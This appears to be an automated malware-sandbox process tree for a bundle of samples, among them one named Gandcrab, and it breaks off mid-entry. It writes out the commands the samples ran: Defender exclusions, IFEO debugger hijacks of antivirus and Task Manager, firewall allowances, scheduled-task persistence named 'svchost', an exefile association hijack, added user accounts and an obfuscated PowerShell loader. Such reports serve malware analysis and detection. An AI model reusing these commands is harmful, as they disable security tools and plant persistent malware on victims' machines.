PID 1824 wrote to memory of 4972	1824	クラック.exe	88
PID 1824 wrote to memory of 4972	1824	クラック.exe	88
PID 1824 wrote to memory of 4972	1824	クラック.exe	88
PID 1824 wrote to memory of 1592	1824	クラック.exe	89
PID 1824 wrote to memory of 1592	1824	クラック.exe	89
PID 1824 wrote to memory of 1592	1824	クラック.exe	89
PID 1824 wrote to memory of 3636	1824	クラック.exe	90
PID 1824 wrote to memory of 3636	1824	クラック.exe	90
PID 1824 wrote to memory of 3636	1824	クラック.exe	90
PID 1824 wrote to memory of 1672	1824	クラック.exe	91
PID 1824 wrote to memory of 1672	1824	クラック.exe	91
PID 1824 wrote to memory of 1960	1824	クラック.exe	92
PID 1824 wrote to memory of 1960	1824	クラック.exe	92
PID 1824 wrote to memory of 1960	1824	クラック.exe	92
PID 1824 wrote to memory of 5084	1824	クラック.exe	93
PID 1824 wrote to memory of 5084	1824	クラック.exe	93
PID 1824 wrote to memory of 564	1824	クラック.exe	94
PID 1824 wrote to memory of 564	1824	クラック.exe	94
PID 1824 wrote to memory of 564	1824	クラック.exe	94
PID 1824 wrote to memory of 4324	1824	クラック.exe	95
PID 1824 wrote to memory of 4324	1824	クラック.exe	95
PID 1824 wrote to memory of 4324	1824	クラック.exe	95

C:\Users\Admin\AppData\Local\Temp\My-Skidded-malwares-main\PCCooker2.0_x64.exe
"C:\Users\Admin\AppData\Local\Temp\My-Skidded-malwares-main\PCCooker2.0_x64.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1196
- C:\Users\Admin\AppData\Local\Temp\VirusShare_0bd61f046f4d99491fa3588dba294e04.exe
  "C:\Users\Admin\AppData\Local\Temp\VirusShare_0bd61f046f4d99491fa3588dba294e04.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:4448
- C:\Users\Admin\AppData\Local\Temp\クラック.exe
  "C:\Users\Admin\AppData\Local\Temp\クラック.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1824
- - C:\Program Files (x86)\2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe
    "C:\Program Files (x86)\2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4564
- - C:\Program Files (x86)\5e710462c65fe899466e4fb7c1e33c9a.exe
    "C:\Program Files (x86)\5e710462c65fe899466e4fb7c1e33c9a.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3192
  - - C:\Users\Default User\RuntimeBroker.exe
      "C:\Users\Default User\RuntimeBroker.exe"
      4⤵
      PID:6120
- - C:\Program Files (x86)\7f1630df6b57af024a3b561bdadc208f.exe
    "C:\Program Files (x86)\7f1630df6b57af024a3b561bdadc208f.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4972
- - C:\Program Files (x86)\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe
    "C:\Program Files (x86)\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1592
  - - C:\Program Files (x86)\virus.jk.jk.exe
      "C:\Program Files (x86)\virus.jk.jk.exe" C:\Users\Admin\AppData\Local\Temp\server.exe
      4⤵
      PID:5148
    - - C:\Program Files (x86)\virus.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.exe"
        5⤵
        
        PID:5560
      - C:\NH-Helper.exe
        
        C:\NH-Helper.exe
        6⤵
        
        PID:6456
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c C:\123.bat
        7⤵
        
        PID:6256
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
        8⤵
        
        PID:6268
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\360tray.exe" /v debugger /t reg_sz /d "ntsd -d" /f
        8⤵
        
        PID:3376
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d "ntsd -d" /f
        8⤵
        
        PID:5548
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe
        7⤵
        
        PID:3928
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C ftype exefile=C:\Program Files (x86)\virus.jk.jk.jk.exe %1
        6⤵
        
        PID:4088
      - C:\J-V-C.EXE
        
        C:\J-V-C.EXE
        6⤵
        
        PID:6220
- - C:\Program Files (x86)\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe
    "C:\Program Files (x86)\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:3636
  - - C:\Windows\SysWOW64\netsh.exe
      netsh firewall add allowedprogram "C:\Program Files (x86)\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe" "34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe" ENABLE
      4⤵
      Modifies Windows Firewall
      PID:6136
- - C:\Program Files (x86)\57ccb6f0bd910fed428761828ae93553.exe
    "C:\Program Files (x86)\57ccb6f0bd910fed428761828ae93553.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:1672
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\l00tdowz\l00tdowz.cmdline"
      4⤵
      PID:5388
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC1D9.tmp" "c:\Windows\System32\CSC2DA1DE16DED46BB97FB191892E126.TMP"
        5⤵
        
        PID:5940
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Microsoft Office\Office16\Gandcrab5.0.3.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:7636
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Windows Mail\winhlp32.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:7664
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\All Users\SoftwareDistribution\kosomk.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:7672
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows NT\Accessories\de-DE\WmiPrvSE.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:7680
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Internet Explorer\fr-FR\explorer.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:7688
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\57ccb6f0bd910fed428761828ae93553.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:7696
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\jOTnybcEF0.bat"
      4⤵
      PID:5288
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:8280
    - - C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        5⤵
        
        PID:8196
    - - C:\Program Files (x86)\57ccb6f0bd910fed428761828ae93553.exe
        
        "C:\Program Files (x86)\57ccb6f0bd910fed428761828ae93553.exe"
        5⤵
        
        PID:7020
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\i0mfbr0b\i0mfbr0b.cmdline"
        6⤵
        
        PID:1720
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE0F5.tmp" "c:\Program Files\Microsoft Office\Office16\CSC327022D8CD984676B4DAB3A4D310B732.TMP"
        7⤵
        
        PID:5928
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\0ifpjbhq\0ifpjbhq.cmdline"
        6⤵
        
        PID:6500
- - C:\Program Files (x86)\70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe
    "C:\Program Files (x86)\70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1960
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe
      "Powershell.exe" -windowstyle minimized "$Teratism249 = Get-Content 'C:\Users\Admin\AppData\Local\Temp\celleslim\farve\pitiableness\Guldtand.Spi168' ; $Neglefilen=$Teratism249.SubString(69482,3);.$Neglefilen($Teratism249) "
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:3108
- - C:\Program Files (x86)\73c1c41b9e71c48e752a5cd19fe808b6.exe
    "C:\Program Files (x86)\73c1c41b9e71c48e752a5cd19fe808b6.exe"
    3⤵
    - Executes dropped EXE
    PID:5084
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\VExWzy85O0.bat"
      4⤵
      PID:5436
    - - C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        5⤵
        
        PID:6608
    - - C:\Program Files\7-Zip\RuntimeBroker.exe
        
        "C:\Program Files\7-Zip\RuntimeBroker.exe"
        5⤵
        
        PID:6524
- - C:\Program Files (x86)\75c82fd18fcf8a51bc1b32a89852d90978fa5e7a55281f42b0a1de98d14644fa.exe
    "C:\Program Files (x86)\75c82fd18fcf8a51bc1b32a89852d90978fa5e7a55281f42b0a1de98d14644fa.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:564
- - C:\Program Files (x86)\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
    "C:\Program Files (x86)\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe"
    3⤵
    PID:4324
  - - C:\Program Files (x86)\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
      "C:\Program Files (x86)\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe"
      4⤵
      PID:6764
- - C:\Program Files (x86)\938b92958ded4d50a357d22eddf141ad.exe
    "C:\Program Files (x86)\938b92958ded4d50a357d22eddf141ad.exe"
    3⤵
    PID:1576
  - - C:\Windows\winhlp32.exe
      winhlp32.exe -x
      4⤵
      PID:3928
  - - C:\Windows\winhlp32.exe
      winhlp32.exe -x
      4⤵
      PID:4648
- - C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
    "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe"
    3⤵
    PID:2224
- - C:\Program Files (x86)\a6a1abaf12a28ea8f6553356c3bdcf57.exe
    "C:\Program Files (x86)\a6a1abaf12a28ea8f6553356c3bdcf57.exe"
    3⤵
    PID:4556
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\smss.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6996
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows NT\Accessories\en-US\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:5828
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Java\jre-1.8\dwm.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6744
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Adobe\Client.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6688
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\conhost.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6236
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\S0ij7705pC.bat"
      4⤵
      PID:7904
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:8132
    - - C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4356
    - - C:\Program Files\Windows NT\Accessories\en-US\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe
        
        "C:\Program Files\Windows NT\Accessories\en-US\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe"
        5⤵
        
        PID:3904
- - C:\Program Files (x86)\BTZ.exe
    "C:\Program Files (x86)\BTZ.exe"
    3⤵
    PID:3428
- - C:\Program Files (x86)\Cat.exe
    "C:\Program Files (x86)\Cat.exe"
    3⤵
    PID:1572
- - C:\Program Files (x86)\Client.exe
    "C:\Program Files (x86)\Client.exe"
    3⤵
    PID:484
  - - C:\Windows\SYSTEM32\CMD.exe
      "CMD" /C SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" & exit
      4⤵
      PID:5076
    - - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe"
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5828
  - - C:\Windows\SYSTEM32\CMD.exe
      "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST & exit
      4⤵
      PID:2544
    - - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5224
  - - C:\Windows\SYSTEM32\CMD.exe
      "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST & exit
      4⤵
      PID:6340
    - - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6976
  - - C:\Windows\SYSTEM32\CMD.exe
      "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST & exit
      4⤵
      PID:5512
    - - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7272
  - - C:\Windows\SYSTEM32\CMD.exe
      "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST & exit
      4⤵
      PID:6804
    - - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST
        5⤵
        
        PID:7244
- - C:\Program Files (x86)\Darkest Dungeon setub.exe
    "C:\Program Files (x86)\Darkest Dungeon setub.exe"
    3⤵
    PID:1176
  - - C:\Program Files (x86)\virus.jk.jk.exe
      "C:\Program Files (x86)\virus.jk.jk.exe" C:\Users\Admin\AppData\Roaming\svhost.exe
      4⤵
      PID:6552
    - - C:\Program Files (x86)\virus.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.exe"
        5⤵
        
        PID:6544
      - C:\NH-Helper.exe
        
        C:\NH-Helper.exe
        6⤵
        
        PID:5228
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c C:\123.bat
        7⤵
        
        PID:4044
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
        8⤵
        
        PID:7352
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\360tray.exe" /v debugger /t reg_sz /d "ntsd -d" /f
        8⤵
        
        PID:5636
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d "ntsd -d" /f
        8⤵
        
        PID:4980
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe
        7⤵
        
        PID:1484
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C ftype exefile=C:\Program Files (x86)\virus.jk.jk.jk.exe %1
        6⤵
        
        PID:1432
- - C:\Program Files (x86)\evil.exe
    "C:\Program Files (x86)\evil.exe"
    3⤵
    PID:3380
  - - C:\Users\Admin\AppData\Local\Temp\evil.exe
      "C:\Users\Admin\AppData\Local\Temp\evil.exe"
      4⤵
      PID:6096
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\evil.exe" "evil.exe" ENABLE
        5⤵
        Modifies Windows Firewall
        
        PID:6184
- - C:\Program Files (x86)\fwclt.exe
    "C:\Program Files (x86)\fwclt.exe"
    3⤵
    PID:832
- - C:\Program Files (x86)\Gandcrab5.0.3.exe
    "C:\Program Files (x86)\Gandcrab5.0.3.exe"
    3⤵
    PID:2952
  - - C:\Windows\SysWOW64\wermgr.exe
      "C:\Windows\System32\wermgr.exe"
      4⤵
      PID:924
    - - C:\Program Files (x86)\virus.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.exe" C:\Windows\system32\wbem\wmic.exe
        5⤵
        
        PID:6376
      - C:\Program Files (x86)\virus.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.exe"
        6⤵
        
        PID:7156
        
        C:\NH-Helper.exe
        
        C:\NH-Helper.exe
        7⤵
        
        PID:2636
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c C:\123.bat
        8⤵
        
        PID:716
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
        9⤵
        
        PID:7736
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe
        8⤵
        
        PID:6204
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        9⤵
        
        PID:3192
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C ftype exefile=C:\Program Files (x86)\virus.jk.jk.jk.jk.exe %1
        7⤵
        
        PID:7184
- - C:\Program Files (x86)\Happy18.exe
    "C:\Program Files (x86)\Happy18.exe"
    3⤵
    PID:2384
- - C:\Program Files (x86)\kosomk.exe
    "C:\Program Files (x86)\kosomk.exe"
    3⤵
    PID:4620
  - - C:\Users\Admin\AppData\Roaming\dicsord.exe
      "C:\Users\Admin\AppData\Roaming\dicsord.exe"
      4⤵
      PID:5344
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\dicsord.exe" "dicsord.exe" ENABLE
        5⤵
        Modifies Windows Firewall
        
        PID:5932
- - C:\Program Files (x86)\LightNeuronX0.exe
    "C:\Program Files (x86)\LightNeuronX0.exe"
    3⤵
    PID:856
- - C:\Program Files (x86)\malecus.exe
    "C:\Program Files (x86)\malecus.exe"
    3⤵
    PID:3112
- - C:\Program Files (x86)\see7.exe
    "C:\Program Files (x86)\see7.exe"
    3⤵
    PID:2216
  - - C:\Program Files (x86)\see7.exe
      "C:\Program Files (x86)\see7.exe"
      4⤵
      PID:8392
- - C:\Program Files (x86)\TEST.exe
    "C:\Program Files (x86)\TEST.exe"
    3⤵
    PID:2020
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp1F89.tmp.bat""
      4⤵
      PID:6588
    - - C:\Windows\system32\timeout.exe
        
        timeout 3
        5⤵
        Delays execution with timeout.exe
        
        PID:7592
    - - C:\Users\Admin\AppData\Roaming\DriverrHub\Microsoft To Do.exe
        
        "C:\Users\Admin\AppData\Roaming\DriverrHub\Microsoft To Do.exe"
        5⤵
        
        PID:8432
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\touhou virus.bat" "
    3⤵
    PID:2972
  - - C:\Windows\SysWOW64\net.exe
      net user Shanghai /add
      4⤵
      PID:5668
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user Shanghai /add
        5⤵
        
        PID:5940
  - - C:\Windows\SysWOW64\net.exe
      net user Bad Apple /add
      4⤵
      PID:3928
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user Bad Apple /add
        5⤵
        
        PID:3692
  - - C:\Windows\SysWOW64\net.exe
      net user Marisa
      4⤵
      PID:2036
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user Marisa
        5⤵
        
        PID:6912
  - - C:\Windows\SysWOW64\net.exe
      net user Reimu /add
      4⤵
      PID:5292
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user Reimu /add
        5⤵
        
        PID:5580
  - - C:\Windows\SysWOW64\mountvol.exe
      mountvol X:\ /d
      4⤵
      PID:6516
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/watch?v=PTt19B5_V3I
      4⤵
      PID:6344
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7fffe1fb3cb8,0x7fffe1fb3cc8,0x7fffe1fb3cd8
        5⤵
        
        PID:7608
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/watch?v=tpedaZ0_yyQ
      4⤵
      PID:2732
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xa0,0x10c,0x7fffe1fb3cb8,0x7fffe1fb3cc8,0x7fffe1fb3cd8
        5⤵
        
        PID:6604
  - - C:\Windows\SysWOW64\diskpart.exe
      diskpart
      4⤵
      PID:8156
  - - C:\Windows\SysWOW64\explorer.exe
      explorer
      4⤵
      PID:7588
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/watch?v=ZaFd5xdunKI
      4⤵
      PID:8768
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x104,0x108,0x10c,0xdc,0x110,0x7fffe1fb3cb8,0x7fffe1fb3cc8,0x7fffe1fb3cd8
        5⤵
        
        PID:8948
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe
      4⤵
      PID:9064
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/watch?v=YB0NwvJY39o
      4⤵
      PID:8268
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7fffe1fb3cb8,0x7fffe1fb3cc8,0x7fffe1fb3cd8
        5⤵
        
        PID:8516
  - - C:\Windows\SysWOW64\explorer.exe
      explorer
      4⤵
      PID:8312
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/watch?v=R8-geAYZtX0
      4⤵
      PID:7300
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
